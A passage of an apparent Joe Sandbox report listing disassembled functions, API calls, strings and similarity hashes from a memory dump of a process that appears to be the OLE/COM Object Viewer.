Part of subcall function 00B5C8A6: ScreenToClient.USER32(?,?), ref: 00B5C8B7
Part of subcall function 00B5C8A6: ScreenToClient.USER32(?,?), ref: 00B5C8C4
Part of subcall function 00B5C8A6: #3133.MFC42U(?,?,?,00B5C46E,?), ref: 00B5C8CC

#6193.MFC42U(00000000,000000FF,?,?,?,0000001C,?), ref: 00B5DB03
#6193.MFC42U(00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,000000FF,?,?,?,0000001C,?), ref: 00B5DB1B
#6193.MFC42U(00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,000000FF,?,?), ref: 00B5DB34
#6193.MFC42U(00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8), ref: 00B5DB48
#6193.MFC42U(00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8), ref: 00B5DB5C
#6193.MFC42U(00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8), ref: 00B5DB70
#6127.MFC42U(00000001,00000001,00000001,6BAA0790,6BAA0790,00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8,000003E8), ref: 00B5DB84

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #6193$#2078$ClientRectScreenWindow$#3133#4714#6127
String ID:
API String ID: 1113752235-0
Opcode ID: 5d7b9cb861ecbfe6a7bc6712c66a72dbe21c6cac8e9d94b8652f6f7f4d89470a
Instruction ID: d2c2d78fa61179081c80ad15ff0f66c7e49e6079b8fec558eda31ec1bba3d57c
Opcode Fuzzy Hash: 5d7b9cb861ecbfe6a7bc6712c66a72dbe21c6cac8e9d94b8652f6f7f4d89470a
Instruction Fuzzy Hash: A84142307402047BEB24DB65DC9AFEF3BA9EB85B54F404078B5196F1C2DE659D05C760

Function 00B6BD2A Relevance: 17.5, APIs: 4, Strings: 6, Instructions: 25
libraryloaderwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B6D4CD: GetVersionExW.KERNEL32(?), ref: 00B6D4F3

LoadLibraryW.KERNEL32(ACLUI.DLL,00B5B51D), ref: 00B6BD38
MessageBoxW.USER32(00000000,Couldn't get address of EditSecurity ACLUI.DLL!,OLEViewer,00000000), ref: 00B6BD50
exit.MSVCRT ref: 00B6BD58
GetProcAddress.KERNEL32(00000000,EditSecurity), ref: 00B6BD64

Strings

Couldn't get address of EditSecurity ACLUI.DLL!, xrefs: 00B6BD79
OleViewer, xrefs: 00B6BD44
ACLUI.DLL, xrefs: 00B6BD33
EditSecurity, xrefs: 00B6BD5E
Couldn't load ACLUI.DLL!, xrefs: 00B6BD49
OLEViewer, xrefs: 00B6BD74

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: AddressLibraryLoadMessageProcVersionexit
String ID: ACLUI.DLL$Couldn't get address of EditSecurity ACLUI.DLL!$Couldn't load ACLUI.DLL!$EditSecurity$OLEViewer$OleViewer
API String ID: 2950567464-1848169023
Opcode ID: 8f4ef78302e013adb1df92de51eb2f0519bdd48ad91c24923a37b8168a343735
Instruction ID: 1393fa6ec653f8825bfc85d0708fa670803db253e4ee10ce1ef7db32f8cc8b83
Opcode Fuzzy Hash: 8f4ef78302e013adb1df92de51eb2f0519bdd48ad91c24923a37b8168a343735
Instruction Fuzzy Hash: 8FE01A31385345AAE6202B606D5BF2A2BE5AB14B43F4400E4FA4AEA0F0DFE594889619

Function 00B60D90 Relevance: 15.1, APIs: 10, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#5491.MFC42U ref: 00B60DA3
#4451.MFC42U(?), ref: 00B60DAD
#2112.MFC42U(?,50002800,0000E800,?), ref: 00B60DCE
#4158.MFC42U(00000002,?,50002800,0000E800,?), ref: 00B60DDF
#5867.MFC42U(?,00000002,?,50002800,0000E800,?), ref: 00B60DF4
#2109.MFC42U(?,50008200,0000E801,?,00000002,?,50002800,0000E800,?), ref: 00B60E0C
#5996.MFC42U(00B739A0,00000001,?,50008200,0000E801,?,00000002,?,50002800,0000E800,?), ref: 00B60E1E
#3477.MFC42U(00000000,?,?,?,00B739A0,00000001,?,50008200,0000E801,?,00000002,?,50002800,0000E800,?), ref: 00B60E37
#6063.MFC42U(00000000,00000000,?,?,00000000,?,?,?,00B739A0,00000001,?,50008200,0000E801,?,00000002), ref: 00B60E4E
#2550.MFC42U(00000001,00000000,00000000,?,?,00000000,?,?,?,00B739A0,00000001,?,50008200,0000E801,?,00000002), ref: 00B60E57

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2109#2112#2550#3477#4158#4451#5491#5867#5996#6063
String ID:
API String ID: 1972827604-0
Opcode ID: 9f342737e79868247155623a6e54909dcee47b20ec3721a12e9923212cada14a
Instruction ID: b722398f121d3def82bd1468b1ea35bcdbc1ae5ccce653e54362a904928eb439
Opcode Fuzzy Hash: 9f342737e79868247155623a6e54909dcee47b20ec3721a12e9923212cada14a
Instruction Fuzzy Hash: DA11E63972022476EE1072718C96FFF72DEDFC0710F1809A4BA27E61C1DEA8E9058761

Function 00B60CC0 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 43windowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 00B60CCD
SendMessageW.USER32(?,00001061,00000000,?), ref: 00B60CF8
SendMessageW.USER32(?,00001061,00000001,?), ref: 00B60D1C
#2634.MFC42U(00000000), ref: 00B60D2A
#2634.MFC42U(00000000,00000000), ref: 00B60D37

Strings

j, xrefs: 00B60D15
User/Group, xrefs: 00B60CE3
Can Launch, xrefs: 00B60D0E

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2634MessageSend$#4704
String ID: Can Launch$User/Group$j
API String ID: 3599582684-3481516568
Opcode ID: e0118c94f5f7745ad88dc5ebd6813981725938571bc9e4bdcae39e4eafabd968
Instruction ID: 293b8e332f45b365059a21cf99e7cee600ef81e9638c995b0fdbecdf869aaa6b
Opcode Fuzzy Hash: e0118c94f5f7745ad88dc5ebd6813981725938571bc9e4bdcae39e4eafabd968
Instruction Fuzzy Hash: 38014F759003086BEB219FA0CC45FEFBBF9EB45714F000459F61576290DBB59985CBA1

Function 00B6EE23 Relevance: 10.6, APIs: 7, Instructions: 138sleepCOMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32(?,00B723D8,00000058), ref: 00B6EE38
Sleep.KERNEL32(000003E8), ref: 00B6EE6D
_amsg_exit.MSVCRT ref: 00B6EE82
_initterm.MSVCRT ref: 00B6EED6
__IsNonwritableInCurrentImage.LIBCMT ref: 00B6EF02
exit.MSVCRT ref: 00B6EF85

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CurrentImageInfoNonwritableSleepStartup_amsg_exit_inittermexit
String ID:
API String ID: 2849151604-0
Opcode ID: 7a0306d363e263ade73ee68589dac973046017a80effea6a57dba72569712e1e
Instruction ID: 2ddee8e62c40d1bf9e3c9cc1bd0c99328843daf2734d71cddfdf8cd01fa7c9bc
Opcode Fuzzy Hash: 7a0306d363e263ade73ee68589dac973046017a80effea6a57dba72569712e1e
Instruction Fuzzy Hash: A0411039A44315CFEB249B58EC0177A33E0FB04B11F1001AAE82AA72E0CF79CD81DB61

Function 00B6D2F7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00B6D35B
lstrcatW.KERNEL32(?,00B560AC), ref: 00B6D376
lstrcatW.KERNEL32(?,?), ref: 00B6D37E

Strings

AppID, xrefs: 00B6D336
APPID\%s, xrefs: 00B6D355

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: lstrcat$wsprintf
String ID: APPID\%s$AppID
API String ID: 3128662910-1823611323
Opcode ID: 81137ac9b0e1cc688e328fd71acc7833165de00e4d591f1c3cb53ed5ee9e8822
Instruction ID: 3ab1447ee807573d807ffa81e09e219dc4884fa894432110463c694adb608aff
Opcode Fuzzy Hash: 81137ac9b0e1cc688e328fd71acc7833165de00e4d591f1c3cb53ed5ee9e8822
Instruction Fuzzy Hash: 220161B1A00318ABCB10EF24DC89A9B7BFCEF45705F5041D5BD19A3252DB749E888BA0

Function 00B616C0 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

#2244.MFC42U(?,00000001,00000002,50000000,0000E900), ref: 00B616E1
#3476.MFC42U(00000000,00000000,?,00000001,00000002,50000000,0000E900), ref: 00B61744
#3476.MFC42U(00000000,00000000,00000001,00000000,00000000,?,00000001,00000002,50000000,0000E900), ref: 00B61755
#5848.MFC42U(00000000,00000000,00000000,00000001,00000000,00000000,?,00000001,00000002,50000000,0000E900), ref: 00B6175D
#5906.MFC42U(00000000,000000F0,00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00000001,00000002,50000000,0000E900), ref: 00B6176B

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #3476$#2244#5848#5906
String ID:
API String ID: 2288433627-0
Opcode ID: d5bdda9e2d4a774971e929065bd6dd701569399a73fec146be65b1f2bfe8916f
Instruction ID: 2b1714cb8430b0b07ccf8a43b004bc5b3e648e910279d6a7ad0d5756aae79512
Opcode Fuzzy Hash: d5bdda9e2d4a774971e929065bd6dd701569399a73fec146be65b1f2bfe8916f
Instruction Fuzzy Hash: 6A11C1353812107BEA205B264C89F7B7A9EDF89760F0804A5BD16EB2C1DEA4AC00C6B0

Function 00B61536 Relevance: 7.5, APIs: 5, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B6153D
#366.MFC42U(00000004,00B60D8A,00000004), ref: 00B61547
#527.MFC42U(00000004,00B60D8A,00000004), ref: 00B6155C
#529.MFC42U(00000004,00B60D8A,00000004), ref: 00B6156B
#554.MFC42U(00000004,00B60D8A,00000004), ref: 00B6157A

Part of subcall function 00B615A4: #439.MFC42U ref: 00B615B0

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #366#439#527#529#554H_prolog3
String ID:
API String ID: 3098594135-0
Opcode ID: 4c7b0770f8e8173ee69713a3c1be355d3dea1cde8d7db9b3c8452657fb3e3caa
Instruction ID: e83e4646bf80924fc7cfefd3c9facf36d4daf7346ed6e4112a6b7868a72ceef2
Opcode Fuzzy Hash: 4c7b0770f8e8173ee69713a3c1be355d3dea1cde8d7db9b3c8452657fb3e3caa
Instruction Fuzzy Hash: 86F05E75811780CBE710EBA4C1567EDB7E0BF24305F5448CDE5EA13282EBB86608CB62

Function 00B6D6F5 Relevance: 4.5, APIs: 3, Instructions: 31registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,00B6D6E4,80000000,?,?,?,?,?), ref: 00B6D70D
RegQueryValueExW.ADVAPI32(?,?,00000000,?,80000000,00B6D6E4,?,?,?,00B6D6E4,80000000,?,?,?,?,?), ref: 00B6D72C
RegCloseKey.ADVAPI32(?,?,?,?,00B6D6E4,80000000,?,?,?,?,?,?,?,?), ref: 00B6D738

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 0a9022ae56c6f43db8d336071df63548467e60d8012da0b95b0b5cf0b2320341
Instruction ID: df44898253f5e0e745ea37ed5f21b83f8d3a034864e0a9a0fd25ec94e3d874ff
Opcode Fuzzy Hash: 0a9022ae56c6f43db8d336071df63548467e60d8012da0b95b0b5cf0b2320341
Instruction Fuzzy Hash: 1CF0B276A0020DFFDF128F90ED09EAE7FB9EB48345F104055FA05A2160E771DA60AB50

Function 00B63A60 Relevance: 3.1, APIs: 2, Instructions: 105COMMON

Download Yara Rule

APIs

#1662.MFC42U ref: 00B63ACD
#2644.MFC42U(?), ref: 00B63BA6

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #1662#2644
String ID:
API String ID: 3643970462-0
Opcode ID: b2a4955d172f6893873056020b2d99104e7532283901debc0db40684e72d8a1e
Instruction ID: b5389f853d1b98ffb678674ec859a3eb18111af3e26843ce700653f0e88193dd
Opcode Fuzzy Hash: b2a4955d172f6893873056020b2d99104e7532283901debc0db40684e72d8a1e
Instruction Fuzzy Hash: FD416E34A10208EFCB54DF94C596AACBBF2EF44724F6484D8E851AB391CB79AF41DB00

Function 00B63D3B Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 00B63F53: #303.MFC42U(SysTreeView32,50800000,?,000000FF,?,00B63D6D,F6B930CF,?,00000000,00B70996,000000FF,?,00B62096), ref: 00B63F69

#540.MFC42U(F6B930CF,?,00000000,00B70996,000000FF,?,00B62096), ref: 00B63D80
#1105.MFC42U(00B65270,000000FF,00000000,00000000,00000004,00000000), ref: 00B63E62

Part of subcall function 00B63CFC: #543.MFC42U(00000000,?,00000000,?,00B63E30), ref: 00B63D0A
Part of subcall function 00B63CFC: InitializeCriticalSection.KERNEL32(00000008,00000000,?,00000000,?,00B63E30), ref: 00B63D19

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #1105#303#540#543CriticalInitializeSection
String ID:
API String ID: 4030040872-0
Opcode ID: e5ad5e63bd8afd697d961737ee7bbaef72b03e6bb50e314b524a25c57b871b8a
Instruction ID: 04a600b45b27154280f5ff97d0611f5f39d1e377e19fc44a6a5f6fb22c4ad860
Opcode Fuzzy Hash: e5ad5e63bd8afd697d961737ee7bbaef72b03e6bb50e314b524a25c57b871b8a
Instruction Fuzzy Hash: 82411571E10359DFEB01DF98C856BAEBBF0FB04716F104599E021AB2A1C7B99A44CF54

Function 00B6DE06 Relevance: 3.0, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

_callnewh.MSVCRT ref: 00B6DE11
malloc.MSVCRT ref: 00B6DE1E

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: _callnewhmalloc
String ID:
API String ID: 2285944120-0
Opcode ID: 42dd992d449b805a10e81f054b7db909a7b89bb086b073c0934b2cc9592ffe85
Instruction ID: 9cff8361b7e7644f470f4f32217cd0391bf9cbe35f6c813721eef5edea4c8036
Opcode Fuzzy Hash: 42dd992d449b805a10e81f054b7db909a7b89bb086b073c0934b2cc9592ffe85
Instruction Fuzzy Hash: 99D0A932B0052B234E312599EC008ABBAC8DF93BB031500B2F80C9E711EE2ACE2082C0

Function 00B695D0 Relevance: 3.0, APIs: 2, Instructions: 19windowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 00B695D5

Part of subcall function 00B5B421: #1172.MFC42U(?,00B5B338), ref: 00B5B424

Part of subcall function 00B69597: SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00B695A0
Part of subcall function 00B69597: #2855.MFC42U(00000000), ref: 00B695A7

SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00B695FC

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#1172#2855#4704
String ID:
API String ID: 854760084-0
Opcode ID: 91cf4c3cf39fa6eb2dda7f88c26ae0c4f287efa9119d112dcfe35186a2222195
Instruction ID: ae5cc367250af4e3135357433aead74121dbb66c3bec9b92b5ab17782419074a
Opcode Fuzzy Hash: 91cf4c3cf39fa6eb2dda7f88c26ae0c4f287efa9119d112dcfe35186a2222195
Instruction Fuzzy Hash: 3AD0C7312212101BE3216B70EC09FAA26CEEF85320F0600E0BA0ACB0A2CF60CC008700

Function 00B5FC60 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

#4435.MFC42U(?,?), ref: 00B5FCCC

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #4435
String ID:
API String ID: 3199213920-0
Opcode ID: 37cebb649b83f9d3a2e3d9a1ff4105d30cf848280559721bff4f1122886bc9cf
Instruction ID: 3bae0a13bb774106b1f7cb05aa54e0e41a68141775f4de4165c9f03c56ec6fa7
Opcode Fuzzy Hash: 37cebb649b83f9d3a2e3d9a1ff4105d30cf848280559721bff4f1122886bc9cf
Instruction Fuzzy Hash: F701A23570015A9BDF189B15C844BB9BBA5FB84322F4440BBEC0A87391CB309D51CB91

Function 00B5EAB0 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B5EAB7

Part of subcall function 00B6DE06: malloc.MSVCRT ref: 00B6DE1E

Part of subcall function 00B5EAE6: __EH_prolog3.LIBCMT ref: 00B5EAED
Part of subcall function 00B5EAE6: #338.MFC42U(0000000C,00B5EAD7,00000004), ref: 00B5EAF7
Part of subcall function 00B5EAE6: #540.MFC42U(0000000C,00B5EAD7,00000004), ref: 00B5EB0B
Part of subcall function 00B5EAE6: #860.MFC42U(00B5349E,0000000C,00B5EAD7,00000004), ref: 00B5EB27
Part of subcall function 00B5EAE6: #540.MFC42U ref: 00B5EB36
Part of subcall function 00B5EAE6: #540.MFC42U ref: 00B5EB42
Part of subcall function 00B5EAE6: #4155.MFC42U(00000004), ref: 00B5EB50
Part of subcall function 00B5EAE6: #4155.MFC42U(00000008,00000004), ref: 00B5EB5A
Part of subcall function 00B5EAE6: #3516.MFC42U(?,?,00000005,00000008,00000004), ref: 00B5EB6E
Part of subcall function 00B5EAE6: #861.MFC42U(ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EB7E
Part of subcall function 00B5EAE6: #3516.MFC42U(?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EB8D
Part of subcall function 00B5EAE6: #861.MFC42U(ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EB9D
Part of subcall function 00B5EAE6: #3516.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EBAC
Part of subcall function 00B5EAE6: #800.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EBB7
Part of subcall function 00B5EAE6: #800.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EBBF

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #3516#540$#4155#800#861H_prolog3$#338#860malloc
String ID:
API String ID: 1769621591-0
Opcode ID: 2a84a757b8b6591b091951ec04e0ff8a9ff411d050e8004ed39b4eb4599c213d
Instruction ID: 8514f799a6ca38ed384615a556283b2783ab3d37efcb29e3b3121e9b2861c93a
Opcode Fuzzy Hash: 2a84a757b8b6591b091951ec04e0ff8a9ff411d050e8004ed39b4eb4599c213d
Instruction Fuzzy Hash: E5D0C7A2B4510397DF1CB7B4151272D15D1AF44301F5044FDB554D5381DE64C6448555

Function 00B60D60 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B60D67

Part of subcall function 00B6DE06: malloc.MSVCRT ref: 00B6DE1E

Part of subcall function 00B61536: __EH_prolog3.LIBCMT ref: 00B6153D
Part of subcall function 00B61536: #366.MFC42U(00000004,00B60D8A,00000004), ref: 00B61547
Part of subcall function 00B61536: #527.MFC42U(00000004,00B60D8A,00000004), ref: 00B6155C
Part of subcall function 00B61536: #529.MFC42U(00000004,00B60D8A,00000004), ref: 00B6156B
Part of subcall function 00B61536: #554.MFC42U(00000004,00B60D8A,00000004), ref: 00B6157A

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: H_prolog3$#366#527#529#554malloc
String ID:
API String ID: 3012659443-0
Opcode ID: 72c55dcd6e3f0c4e6d336ec75686d67ad851c60acf5eef45d6b3a53ed2550917
Instruction ID: 0d3293f891f28759bb59c5ad450cfa601800d70c89eb65c14df18d435170b09d
Opcode Fuzzy Hash: 72c55dcd6e3f0c4e6d336ec75686d67ad851c60acf5eef45d6b3a53ed2550917
Instruction Fuzzy Hash: F3D022F2B04203A7DF08FBFC681232E10D09F40300F5044FEB649CA3C2DE388A008629

Function 00B615A4 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

#439.MFC42U ref: 00B615B0

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #439
String ID:
API String ID: 466583480-0
Opcode ID: ac5ae85a6b662794a616c032d368acdeee14c1140717a80183b93a84f1882932
Instruction ID: fed887c450457231d6a8bf0d04931aa917330946c1dd08f0de12879cc925df20
Opcode Fuzzy Hash: ac5ae85a6b662794a616c032d368acdeee14c1140717a80183b93a84f1882932
Instruction Fuzzy Hash: 76C08CB26002A4778B106B4D980688ABADCC9827A431500DAB921A7300EBF0DE4183E5

Function 00B616A0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

#4146.MFC42U(?,?,?,?), ref: 00B616B7

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

